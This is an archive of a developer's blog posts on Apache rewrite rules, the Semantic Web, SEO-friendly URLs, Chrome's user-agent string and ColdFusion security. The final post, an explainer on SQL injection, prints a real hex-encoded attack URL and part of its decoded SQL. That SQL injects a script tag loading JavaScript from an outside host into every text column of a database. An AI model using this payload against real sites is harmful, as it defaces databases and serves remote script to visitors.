Simon Whatley » url

Apache RewriteRule and query strings

Simon — Fri, 18 Feb 2011 10:56:20 +0000

At first glance, the way the Apache mod_rewrite module handles query strings can be a little intimidating. mod_rewrite works by sitting on your server in a file called htaccess, and “catching” requests for URL‘s. It then checks these URL request against a series of rules and conditions you have set. If the request meets any of the rules and conditions, it applies then necessary changes to the URL, then reprocesses the request with the changes you have directed. Apache helpfully provides some RewriteCond documentation

The most common mistake people make when thinking of URL redirection with mod_rewrite, is they believe it creates something, or changes something. It doesn’t.

Here is a simple example, redirecting a page dependent upon its query string. The rewrite condition and rule looks like this:

RewriteCond %{QUERY_STRING} ^id=([0-9]*)$
RewriteRule ^page\.php$ http://www.example.com/page/%1.php [R=302,L]

The rewrite condition matches a numerical ID between 0 and 9. According to the official documentation, you would expect the following behaviour:

/page.php?id=1 -> http://www.example.com/page/1.php
/page.php?id=10 -> http://www.example.com/page/10.php

However, if you don’t append something new, then the original query is passed through by default. This results in the following:

/page.php?id=1 -> http://www.example.com/page/1.php?id=1
/page.php?id=10 -> http://www.example.com/page/10.php?id=10

If you want to discard the original query string you must append an empty question mark at the end of the rule; the query string not append or query string discard flag.

RewriteCond %{QUERY_STRING} ^id=([0-9]*)$
RewriteRule ^page\.php$ http://www.example.com/page/%1.php? [R=302,L]

Putting it all together, here’s a quick reference for dealing with query string in a RewriteRule.

Keep original query (i.e., the default behaviour)

RewriteRule ^page\.php$ /target.php [L]
# from http://www.example.com/page.php?foo=bar
# to http://www.example.com/target.php?foo=bar

Discard original query

RewriteRule ^page\.php$ /target.php? [L]
# from http://www.example.com/page.php?foo=bar
# to http://www.example.com/target.php

Replace original query

RewriteRule ^page\.php$ /target.php?bar=baz [L]
# from http://www.example.com/page.php?foo=bar
# to http://www.example.com/target.php?bar=foo

Append new query to original query

RewriteRule ^page\.php$ /target.php?bar=baz [QSA,L]
# from http://www.example.com/page.php?foo=bar
# to http://www.example.com/target.php?foo=bar&bar=foo

Dave Child has created a great mod_rewrite cheat sheet; a one-page reference sheet, listing flags for the RewriteRule and RewriteCond directives, list of server variables, a regular expression guide and several examples of common rules.

Apache .htaccess query string redirects

Simon — Thu, 17 Feb 2011 21:53:42 +0000

One of the most common tasks performed by Apache and htaccess is the manipulation of a URL and configuring a redirect for a specific page. Creating a single page redirect in Apache is a simple task, which uses mod_alias module.

Redirect /page.php http://www.example.com/target.php

More commonly, however, you’re likely to want to do a mass-redirection of pages. To accomplish this, you may use the RedirectMatch directive.

RedirectMatch ^/category/(.*)$ http://www.example.com/topic/$1

This will redirect any page from the category folder to the corresponding one in topic folder with a convenient one-by-one redirect.

However, neither Redirect nor RedirectMatch allow you to specify a query string for the redirect source. In other words, the following statements are invalid and they’ll simply be ignored.

# single page redirect
Redirect /page.php?id=1  http://www.example.com/page/1
Redirect /page.php?id=10  http://www.example.com/page/10
 
# multi-page redirect
RedirectMatch ^/page.php?id=([0-9]*)$  http://www.example.com/page/$1

The solution requires a change of focus from Apache’s mod_alias module to the mod_rewrite module. Here’s an example.

RewriteEngine On
RewriteCond %{REQUEST_URI}  ^/page\.php$
RewriteCond %{QUERY_STRING} ^id=([0-9]*)$
RewriteRule ^(.*)$ http://www.example.com/page/%1.php [L,R=301]

The mod_rewrite module uses a rule-based rewriting engine (based on a regular-expression parser) to rewrite requested URLs on the fly. It supports an unlimited number of rules and an unlimited number of attached rule conditions for each rule, to provide a really flexible and powerful URL manipulation mechanism. The URL manipulations can depend on various tests, of server variables, environment variables, HTTP headers, or time stamps.

So what does this all mean with respect to the above example?

The first line enables the RewriteEngine module. Note that mod_rewrite Apache module must be installed and enabled in order to use the RewriteEngine.

The RewriteCond statements set all the rewrite conditions. The fourth line, the real rewrite directive, will be executed if and only if all conditions are satisfied by the current request.

The first condition is for the page I need to redirect. This condition is included to prevent any unexpected errors if other pages are using the ID variable. Next, I base the rewrite rule on the value for the current request’s query string. The ID value within the regular expression is “wrapped” to be able to reuse the match later as a back-reference.

The final line is the rewrite rule. This line looks similar to the RedirectMatch statement. It specifies the redirection source, then the redirection target. The value captured by the second RewriteCond is referenced in the target with the %N keyword (in this example %1). The RewriteRule also includes a comma-separated list of flags that should be applied to the rule. In this case, L stops the rewriting process immediately whilst R=301 specifies a permanent external redirect (301 is an HTTP Status Code).

Further reading:

An Introduction to the Semantic Web

Simon — Fri, 18 Jun 2010 12:20:49 +0000

The Semantic Web is a web of data. There is lots of data we all use every day, and most of it is not part of the web. I can see my bank statements on the web, and my photographs, and I can see my appointments in a calendar. But can I see my photos in a calendar to see what I was doing when I took them and on a map so I know where I took them? Can I see bank statement lines in a calendar? The answer, right now, is no.

But why not? Because we don’t have a web of data. Because data is controlled by applications, and each application keeps its data to itself; applications don’t like to share.

The original Web mainly concentrated on the interchange of documents, however, the Semantic Web is about two things: It is about common formats for integration and combination of data drawn from diverse sources. It is also about language for recording how the data relates to real world objects. That allows a person, or a machine, to start off in one database, and then move through an unending set of databases which are connected not by wires but by being about the same thing.

Tim Berners-Lee describes the Semantic Web vision as:

I have a dream for the Web [in which computers] become capable of analysing all the data on the Web, the content, links, and transactions between people and computers. A Semantic Web, which should make this possible, has yet to emerge, but when it does, the day-to-day mechanisms of trade, bureaucracy and our daily lives will be handled by machines talking to machines. The intelligent agents people have touted for ages will finally materialise.

What are the ideas and technologies that facilitate this vision? Below I give an overview and links to a number of them:

Linked Data

Linked Data is about using the Web to connect related data that wasn’t previously linked, or using the Web to lower the barriers to linking data currently linked using other methods. More specifically, Wikipedia defines Linked Data as “a term used to describe a recommended best practice for exposing, sharing, and connecting pieces of data, information, and knowledge on the Semantic Web using URIs and RDF.”

Resource Description Framework

The Resource Description Framework (RDF) is a general-purpose language for representing information in the Web.

The Resource Description Framework Schema (RDF-S) is a semantic extension of RDF that provides mechanisms for describing groups of related resources and the relationships between these resources.

The Resource Description Framework in Attributes (RDFa) allows authors to add meaning to web page elements. Using a few simple XHTML attributes, authors can mark up human-readable data with machine-readable indicators for browsers and other programs to interpret. A web page can include markup for items as simple as the title of an article, or as complex as a user’s complete social network.

Friend of a Friend (FOAF)

The Friend of a Friend project is creating a Web of machine-readable pages describing people, the links between them and the things they create and do. FOAF is about your place in the Web, and the Web’s place in our world. FOAF is a simple technology that makes it easier to share and use information about people and their activities (eg. photos, calendars, weblogs), to transfer information between Web sites, and to automatically extend, merge and re-use it online.

Web Ontology Language (OWL)

The OWL Web Ontology Language is designed for use by applications that need to process the content of information instead of just presenting information to humans. OWL facilitates greater machine interpretability of Web content than that supported by XML, RDF, and RDF Schema (RDF-S) by providing additional vocabulary along with a formal semantics.

Dublin Core Metadata Initiative (DCMI)

The Dublin Core set of metadata elements provides a small and fundamental group of text elements through which most resources can be described and catalogued. Using only 15 base text fields, a Dublin Core metadata record can describe physical resources such as books, digital materials such as video, sound, image, or text files, and composite media like web pages. Metadata records based on Dublin Core are intended to be used for cross-domain information resource description and have become standard in the fields of library science and computer science. Implementations of Dublin Core typically make use of XML and are Resource Description Framework (RDF) based.

Triplestore

A triplestore is a purpose-built database for the storage and retrieval of Resource Description Framework (RDF) metadata.

Much like a relational database, information is stored in a triplestore and retrieved via a query language called SPARQL. Unlike a relational database, a triplestore is optimised for the storage and retrieval of many short statements called triples, in the form of subject-predicate-object, like “Bob is 35″ or “Bob knows Fred”.

http://en.wikipedia.org/wiki/Triplestore

SPARQL Protocol and RDF Query Language (SPARQL)

SPARQL is an RDF query language, which can be used to express queries across diverse data sources, whether the data is stored natively as RDF or viewed as RDF via middleware. SPARQL contains capabilities for querying required and optional graph patterns along with their conjunctions and disjunctions. SPARQL also supports extensible value testing and constraining queries by source RDF graph. The results of SPARQL queries can be results sets or RDF graphs.

Simple Knowledge Organization System (SKOS)

SKOS is a family of formal languages designed for representation of thesauri, classification schemes, taxonomies, subject-heading systems, or any other type of structured controlled vocabulary. SKOS is built upon RDF and RDF-S, and its main objective is to enable easy publication of controlled structured vocabularies for the Semantic Web.

Persistent Uniform Resource Locator (PURL)

A PURL is a type of Uniform Resource Locator (URL) that does not directly describe the location of the resource to be retrieved but instead describes an intermediate, more persistent location which, when retrieved, results in redirection (e.g. via a 302 HTTP status code) to the current location of the final resource.

PURLs are an interim measure, while Uniform Resource Names (URNs) are being mainstreamed, to solve the problem of transitory URIs in location-based URI schemes like HTTP.

Thomson Reuters OpenCalais

OpenCalais is a rapidly growing toolkit of capabilities that allow you to readily incorporate state-of-the-art semantic functionality within your blog, content management system, website or application.

The OpenCalais Web Service automatically creates rich semantic metadata for the content you submit. Using Natural Language Processing (NLP), machine learning and other methods, Calais analyses your document and finds the entities within it. Calais goes beyond classic entity identification returning the facts and events hidden within your text as well.

http://www.opencalais.com

If you have any more suggestions that should be included above, I’ll be happy to hear them.

Optimise Your URLs for Web Crawlers and Indexing

Simon — Thu, 08 Oct 2009 11:15:05 +0000

Many questions about website architecture, crawling and indexing, and even ranking issues can be boiled down to one central issue: How easy is it for search engines to crawl your site?

The Internet is not simply a big place it is a huge place; new content is being created all the time. Google, Yahoo and Microsoft each have a finite number of resources, so when faced with the nearly-infinite quantity of content that’s available online, their various crawlers are only able to find and crawl a percentage of that content. Then, of all the content they’ve crawled, they’re only able to index a portion. Of course with the cheapness of storage, the search engines are able to index more and more content each day, but not at the pace the Web is growing.

URLs are like the bridges between your website and a search engine’s crawler: crawlers need to be able to find and cross those bridges (i.e., find and crawl your URLs) in order to get to your site’s content. If your URLs are complicated or redundant, crawlers are going to spend time tracing and retracing their steps; if your URLs are organised and lead directly to distinct content, crawlers can spend their time accessing your content rather than crawling through empty pages, or crawling the same content over and over via different URLs.

So, what can you do as a website developer or owner to reduce that labyrinth of URLs and helping crawlers find more of your content faster? Below are a few ideas:

Remove unnecessary query string details from the URL.
Parameters in the URL that don’t change the content of the page–like session IDs or list sort orders–can be removed from the URL and put into a cookie. By putting this information in a cookie and 301 redirecting to a clean URL, you retain the information and reduce the number of URLs pointing to that same content.
Stop infinite pagination in, for example, lists and calendars.
If you have a calendar with infinite past and future dates or a list with infinite pagination you have what is described as an infinite crawl space, which is a huge burden on crawlers. To resolve the calendar issue, you can add no-follow attributes to links to dynamically created future calendar pages. When creating pagination links, disable previous and next links when the first and last pages are reached and redirect users to an appropriate page if the query string in the URL is hacked (this may be a page not found static page).
Utilise the robots.txt file to prevent actions the web crawlers can’t or shouldn’t perform.
Using a robots.txt file, you can disallow crawling of login pages, contact forms, shopping carts, and other pages whose sole functionality is something that a crawler can’t and shouldn’t perform. This lets crawlers spend more of their time crawling content that they can actually do something with.
Prevent duplicate content.
An ideal scenario for crawlers is a one-to-one link between content an a URL. Each URL leads to a unique bit of content and each piece of content can be accessed by a unique URL. The closer your site can get to this scenario, the more streamlined your site will be for crawling and indexing. If your CMS makes this difficult to achieve, you can use the canonical tag to indicate a preferred URL for duplicate content.

More information on this topic can be found on the Google Webmaster Central Blog.

Canonical URLs – What Are They All About?

Simon — Wed, 07 Oct 2009 09:34:23 +0000

Google announced as long ago as February, in their official Webmaster Central Blog a new canonical URL tag:

Carpe diem on any duplicate content worries: we now support a format that allows you to publicly specify your preferred version of a URL. If your site has identical or vastly similar content that’s accessible through multiple URLs, this format provides you with more control over the URL returned in search results. It also helps to make sure that properties such as link popularity are consolidated to your preferred version.

But what do they mean by canonical? One of the definitions of canonical is reduced to the simplest and most significant form possible without loss of generality.

What this means is that if you have a page–let’s take an e-commerce product page–and the simplest URL that you want it accessible by is:

http://www.site.com/category/product.html

you can add the canonical tag to that specific product. Google, Yahoo and Microsoft use this tag to tell their search engines which URL it should have for the current page.

Now, let’s say that the particular software you use also allows you to access the same product using:

http://www.site.com/company/product.html

and

http://www.site.com/different_category/product.html

Perhaps this one product is in multiple categories. With this tag in place when any of the alternate pages are loaded this tag notifies any search engine that this is really the same product as the page you defined in the canonical tag. So, you are still allowed to have the content available as generally needed (by categories, tags, or some other organisation system) and still avoid having the content duplicated and penalised.

To implement the canonical URL tag in your web application, you simply need to do the following inside the section of the duplicate content URLs:

As Google mention, this tag is a hint that they honour strongly. Google will take your preference into account, in conjunction with other signals, when calculating the most relevant page to display in search results.

Parsing Twitter Usernames, Hashtags and URLs with ColdFusion

Simon — Fri, 01 May 2009 11:24:07 +0000

Some time ago, well almost a year ago actually, I posted an article called Parsing Twitter Usernames, Hashtags and URLs with JavaScript. From that article, it became immediately apparent that this was an issue many people were confronting and one that required an answer. Now, belatedly, it is the turn of ColdFusion to get the Twitter love.

Compared to JavaScript it is far easier to parse the URLs, Usernames and Hashtags in a tweet using ColdFusion and minor amendments to the regular expressions used in the JavaScript code.

Below is an example tweet that I’ll use for this post.

 myTweet = "Woot! I've just taken receipt of my Holux M-241 GPS logger. Good call @fordie. http://bit.ly/2RsAu ##holux ##gpslogger" />

NB. For the purpose of this test, I need to double-hash the hashtags to prevent ColdFusion throwing an error.

Parsing URLs as Links to the resource

We can simply demonstrate the parsing of the link with the following code in the body of the page:

 myTweet = REReplace(myTweet,'([A-Za-z]+:\/\/[A-Za-z0-9-_]+\.[A-Za-z0-9-_:%&\?\/.=]+)','\1</a>','ALL') />

NB. The \1 is a back reference to part of the regular expression match. A backreference stores the part of the string matched by the part of the regular expression inside the parentheses. This means you can reuse it inside the regular expression, or afterwards as I am doing in each of these examples.

The resultant HTML generated is the following:

Woot! I've just taken receipt of my Holux M-241 GPS logger. Good call @fordie. http://bit.ly/2RsAu #holux #gpslogger

Parsing Usernames as Links to Twitter

Following on from the URL example above, we can apply a similar methodology to Twitter usernames since they can also be URLs to their associated Twitter page.

We can simply demonstrate this with the following code:

 myTweet = REReplace(myTweet,'[@]+([A-Za-z0-9-_]+)','@\1</a>','ALL') />

The regular expression in this case finds all instances of @username. The Twitter URL is then applied to the username.

The resultant HTML generated is the following:

Woot! I've just taken receipt of my Holux M-241 GPS logger. Good call @fordie. http://bit.ly/2RsAu #holux #gpslogger

Parsing Hashtags as Links to Twitter’s Search

Finally, Twitter also allows user’s to create Hastags within their posts. Hashtags are a community-driven convention for adding additional context and metadata to your tweets. Like regular URLs and usernames, Hastags can been parsed as a URL to an online resource, in this case, Twitter’s search.

We can simply demonstrate this with the following code:

 myTweet = REReplace(myTweet,'[##]+([A-Za-z0-9-_]+)','##\1</a>','ALL') />

The regular expression in this case finds all instances of #hashtag. The Twitter Search URL is then applied to the hashtag.

The resultant HTML generated is the following:

Woot! I've just taken receipt of my Holux M-241 GPS logger. Good call @fordie. http://bit.ly/2RsAu #holux #gpslogger

All in one

So, putting all the regular expressions together, you would end up with the following:

Woot! I've just taken receipt of my Holux M-241 GPS logger. Good call @fordie. http://bit.ly/2RsAu #holux #ipslogger

Which translates as the more useful tweet:

Woot! I’ve just taken receipt of my Holux M-241 GPS logger. Good call @fordie. http://bit.ly/2RsAu #holux #gpslogger

Where to take it next

Wrap these code snippets up into a simple twitterise function could be a good starter for ten. Following that, we could also create a simple Twitter feed reader, but I’ll leave that up to you to develop.

Enabling Search Engine Safe URLs with Apache and htaccess

Simon — Mon, 08 Dec 2008 15:57:15 +0000

An increasingly popular technique among websites and in particular, blogs, is the idea of making URLs search engine friendly, or safe, on the premise that doing so will help search engine optimisation. By removing the obscure query string element of a URL and replacing it with keyword rich alternatives, not only makes it more readable for a human being, but also the venerable robots that allow our page content to be found in the first place.

For example, the following is WordPress’ default URL configuration for a post:

http://www.domain.com/?p=1635

However, buy using a URL-rewriting available in the Apache webserver, we can achieve a far better result, such as the following:

http://www.domain.com/search-engine-safe-urls

NB. It is also possible to achieve a similar result with an ISAPI rewrite for Microsoft’s IIS webserver, but this topic will not be included in this post.

To get your website working with SES URLs you need to enable both the mod_rewite module and AllowOverride directive in the Apache configuration file.

Uncomment (remove #) from the following to enable the re-write rule:

LoadModule rewrite_module modules/mod_rewrite.so

Change the AllowOverride directive from none to all


    Options FollowSymLinks
    AllowOverride all
    Order deny,allow
    Deny from all

 

    # Possible values for the Options directive are "None", "All",
    # or any combination of:
    #   Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews
    #
    # Note that "MultiViews" must be named *explicitly* --- "Options All"
    # doesn't give it to you.
    #
    # The Options directive is both complicated and important.  Please see
    # http://httpd.apache.org/docs/2.2/mod/core.html#options
    # for more information.
    #
    Options Indexes FollowSymLinks
 
    #
    # AllowOverride controls what directives may be placed in .htaccess files.
    # It can be "All", "None", or any combination of the keywords:
    #   Options FileInfo AuthConfig Limit
    #
    AllowOverride All
 
    #
    # Controls who can get stuff from this server.
    #
    Order allow,deny
    Allow from all

On Apache webservers, .htaccess (hypertext access) is the default name of directory-level configuration files. An .htaccess file is placed in a particular directory, and the directives in the .htaccess file apply to that directory, and all its subdirectories. It provides the ability to customize configuration for requests to the particular directory. In our case, enabling search engine safe (SES) URLs.

By setting the AllowOverride directive to All in effect defers configuration settings to the .htaccess file.

An example .htaccess file could include the following code to rewrite the URLs:

RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ index.php/$1 [L,QSA]

Search engine friendly URLs are implemented with Rewrite engines. The rewrite engine modifies the URL based upon a number of rewrite conditions and rules.

The RewriteBase directive explicitly sets the base URL for per-directory rewrites. The RewriteCond directive defines a rule condition, so in this case handling missing files or directories. Finally, the RewriteRule directive is the real rewriting workhorse. In this example, we’re getting everything in the URI — i.e. not including the protocol (HTTP/S) and domain name — based upon a regular expression. This is then appended to the default file reference — index.php — as a back reference. The [L,QSA] refers to the rule being the last rule and append any query string parameters to the default file. It is important to note that this is all done on the server side, the user will never see the website address changing in the browser’s address bar. Furthermore, simply transposing the index.php filename with your default file name — e.g. index.cfm, default.aspx — will have the same result. Indeed, the above rewrite rules are becoming a de-facto standard for web applications.

To fully understand mod_rewrite rules above, look at the Apache mod_rewrite documentation.

Once you have your SES functionality in place on the webserver, it is then the responsibility of your application framework to understand the URL construction and handle it accordingly. Fortunately, frameworks such as ColdBox and Fusebox for ColdFusion, Zend and Symfony for PHP, all contain functionality to do this, but that is the subject of an entirely different post.

Users of web applications prefer short, neat URLs to raw query string parameters. A concise URL is easy to remember, and less time-consuming to type in. If the URL can be made to relate clearly to the content of the page, then errors are not only less likely to happen, but our good friends the search engine robots are able to draw a stronger assumption of the pages’ relevance and content.

What's In Google Chrome's User-Agent String

Simon — Fri, 12 Sep 2008 12:10:43 +0000

With the advent Google Chrome there has been a lot of media coverage regarding the browser’s uptake and how it will compete with Internet Explorer, Firefox and Safari. This is where the User Agent becomes most valuable. It can be used in analytics software to determine the browser share and consequently aid the development of the website.

But what is a User Agent? A User Agent is the client application used with a particular network protocol; the phrase is most commonly used in reference to those which access the Web. Web user agents range from web browsers and e-mail clients to search engine crawlers (spiders), as well as mobile phones, screen readers and braille browsers used by people with disabilities. When Internet users visit a web site, a text string is generally sent to identify the user agent to the server. This forms part of the HTTP request, prefixed with user-agent: and typically includes information such as the application name, version, host operating system, and language. Bots, such as web crawlers, often also include a URL and/or e-mail address so that the webmaster can contact the operator of the bot.

By simply typing about:version into Chrome’s address bar you will be presented with the following information:

Google Chrome
0.2.149.29 (1798)
Official Build
Google Inc.
Copyright © 2006-2008 Google Inc. All Rights Reserved.
Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13

As you can see Chrome’s version information provides limited detail about the browser. The last line is the important one. It is the HTTP User-Agent header:

Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13.

If you know the RFC 2616 specification on the HyperText Transfer Protocol — which incidentally, I gladly don’t — you would know that the User Agent, or more formally, product token, should be short and to the point:

Product tokens SHOULD be short and to the point. They MUST NOT be used for advertising or other non-essential information. Although any token character MAY appear in a product-version, this token SHOULD only be used for a version identifier (i.e., successive versions of the same product SHOULD only differ in the product-version portion of the product value).

Clearly this isn’t the case! One of Google’s reason’s behind creating the Chrome browser was to start afresh. It would have therefore been truely amazing if they had made the string simply Chrome/0.2.149.27.

Unfortunately, browser sniffing makes an ever-growing UA string the path of least resistance for browser vendors.

So, what does Chrome’s User Agent string actually mean:

Mozilla/ – This means that browser has the kind of capabilities that Netscape 1.1 had compared to Mosaic and Lynx.
5.0 – This means that the browser engine is from the post-Browser War Web Standards era as opposed to being from the Browser War era.
(Windows; – This means that general windowing system flavor the browser runs on is Windows (as opposed to, for example, Apple and X11).
U; – This means that the browser has at least the level of cryptographic capability / encryption strength that U.S. versions of browsers had in the late 1990s.
Windows NT 6.0; – This indicates the operating system the browser is running on. In this instance, the browser is running on Vista.
en-US) – This indicates the user interface language of the browser (U.S. English in this case). This may be used to choose between different content languages even though HTTP has a different header for that purpose.
AppleWebKit/ – This indicates that the engine of the browser is WebKit as opposed to being Gecko. Developers should not do user agent sniffing as a rule, but if they still do, this is what they should be sniffing.
525.13 – This is the WebKit version from which Chrome branched its copy. Site admins could use this to detect old versions with known bugs.
(KHTML, like Gecko) – This introduces the substring Gecko into the UA string while pointing out to human readers that Webkit was forked from KHTML. Without this substring, Chrome might be put in the same category as IE and Netscape 4.
Chrome/ – This string identifies the browser as actually Google Chrome.
0.2.149.27 – This is the Chrome version. This could be used to detect old versions with known bugs.
Safari/ – This means that the browser is like Safari as opposed to being like Firefox.
525.13 – This just repeats the WebKit version in order to have some version but not the irrelevant Safari.app version.

How to Protect Your Website from a Malicious Attack

Simon — Mon, 18 Aug 2008 12:54:20 +0000

Every seasoned developer will know that protecting your website from a hacker is a top priority, whether for your own reputation or for maintaining your company’s reputation and log-term revenue prospects.

Why should you be worried about security?

The Web is changing many of the assumptions that people have historically made about computer security and publishing. As the Internet makes it possible for web servers to publish information to millions of users, it also makes it possible for computer hackers, crackers, criminals, vandals, and other “bad guys” to break into the very computers on which the web servers are running. Once subverted, web servers can be used by attackers as a launching point for conducting further attacks against users and organisations.

It is considerably more expensive and more time-consuming to recover from a security incident than to take preventative measures ahead of time.

This blog post started on the premise of protecting your website from a SQL Injection Attack. However, it is also appropriate to discuss, at a relatively high level, how to secure your server architecture and applications.

Server-Level Security

Separate web- and database-servers on to different physical machines.
Secure the web- and database-servers with traditional techniques. Only authorised accounts should have the capabilities to run tasks on the machine. That means not giving admin-rights to the user account.
Keep servers up-to-date with the latest patches and software releases.
Minimise the number of services running on the server. This means limiting the services to only those required for the web- or database-servers to function.
Secure information in transit between servers. This may mean physically securing the network to prevent evesdropping via encryption or obfuscating the data amongst innocuous ‘noise’.
Secure the database server behind a firewall.

Application-Level Security

Separate ColdFusion, the webserver and database server user accounts. They should never be under the same system account.
Create a database user specifically for your ColdFusion datasource and restrict it to only the activities required for the application. The user should not have database-owner rights, access to databases not relating to the application or access to the system tables.
Revoke privileges in the ColdFusion datasource definition to prevent the SQL commands CREATE, DROP, GRANT, REVOKE and ALTER.
General settings in the ColdFusion Administrator:
- Check the Disable access to internal ColdFusion Java components option.
- Check the Enable Global Script Protection option.
- Add a Missing Template Handler.
- Add a Site-wide Error Handler.
- Reduce the Maximum size of post data from 100MB.
- Enable Timeout Requests, and set to 60 seconds or less.
- Disable Robust Exception Handling on production servers.

Code-Level Security

Application.cfc – Set the scriptProtect Application variable to true to enable application-wide cross-site script protection.
CFQueryParam – This tag, importantly, verifies the data type of a query parameter and, for RDBMSs that support bind variables, enables ColdFusion to use bind variables in the SQL statement. Bind variable usage enhances performance when executing a cfquery statement multiple times.
```
 name="qry" datasource="#APPLICATION.dsn#">
SELECT column1, column2, column3
FROM tableName
WHERE column4 =  value="#variable1#" cfsqltype="cf_sql_bit" />
AND column5 LIKE  value="%#variable2#%" cfsqltype="cf_sql_varchar" maxlength="200" />
AND column6 IN ( value="#variable3#" cfsqltype="cf_sql_integer" list="true" />)
```
There are limitations to the use of the cfqueryparam tag. In ColdFusion 7 for example, you cannot use them in queries using the cachedWithin attribute. Similarly, they cannot be used in ORDER BY clauses, although the use of conditional logic should resolve the need for order by variables.
Functions – As a rule of thumb, validate all the data being passed into a query prior to it being used. ColdFusion MX 7 saw the introduction of the isValid() function. This function tests whether a value meets a validation or data type rule and can be used to replace a large number of type-specific functions such as isArray(), isBinary(), isBoolean(), isDate(), isNumeric() and isSimpleValue() etc.
Stored Procedures – I often favour the use of stored procedures over standard queries. Not only do they add an additional level of performance, they provide an additional level of security; ColdFusion does not do any raw processing of queries in the web code, it simply passes variables down the wire to the database server.

Additional Resources

Web Security, Privacy and Commerce
O’Reilly’s The Web Application Hacker’s Handbook
Adobe’s whitepaper – ColdFusion 8 Developer Security Guidlines (PDF, 281k)
Adobe’s whitepaper – ColdFusion 7 Developer Security Guidlines (PDF, 217k)
Adobe DevNet – Learning Stored Procedure Basics in ColdFusion 8
0×000000 # The Hacker Webzine’s article on Attacking ColdFusion
Three part series from Mark Kruger (ColdFusion Muse) – Part 1, Part 2, Part 3
Brad Wood’s article on CFQueryParam is not just for security.

What is a SQL Injection Attack

Simon — Wed, 13 Aug 2008 13:09:45 +0000

Over the past few weeks, subversive elements in the international arena have decided that attacking websites is a fun thing to do! The online world has become the new battle ground between nations vying to de-stabilise rivals. This may seem all very Jack Bauer, but we are increasingly seeing ‘SQL injection attacks’ eminating from countries such as Russia, China and North Korea. Of course, that doesn’t mean our countries aren’t doing the same in return, but we only see the results from foreign-based attacks.

What is a SQL Injection Attack?

SQL Injection is a technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is in fact an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another.

Real World Example

SQL Injection attacks are commonly associated with a technique called Cross-Site Scripting (XSS). XSS is a type of computer security vulnerability typically found in web applications which allow code injection by malicious web users into the web pages viewed by other users.

In reality, what does this look like?

The following is a legitimate URL that may be navigated to by the user agent:

http://www.domain.com/folderName/fileName.cfm?variable1=0&variable2=4241

The following is a hacked URL:

http://www.domain.com/folderName/filename.cfm?
variable1=0&variable2=4241;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C41524520405420766172636861722
8323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F522
0464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C7
56D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E787479706
53D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204
F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E5
44F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E2065786563282775706461746
5205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697
074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272720776
865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D226874747
03A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854204
6524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736
F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);

The code appended to the URL is hexadecimal. This can be interpreted by the SQL engine. When the hexadecimal string is decoded by the SQL server, the SQL code generated looks similar to the following:

DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR
FOR SELECT a.name,b.name from sysobjects a,syscolumns b
WHERE a.id=b.id
AND a.xtype='u'
AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM  Table_Cursor
INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''">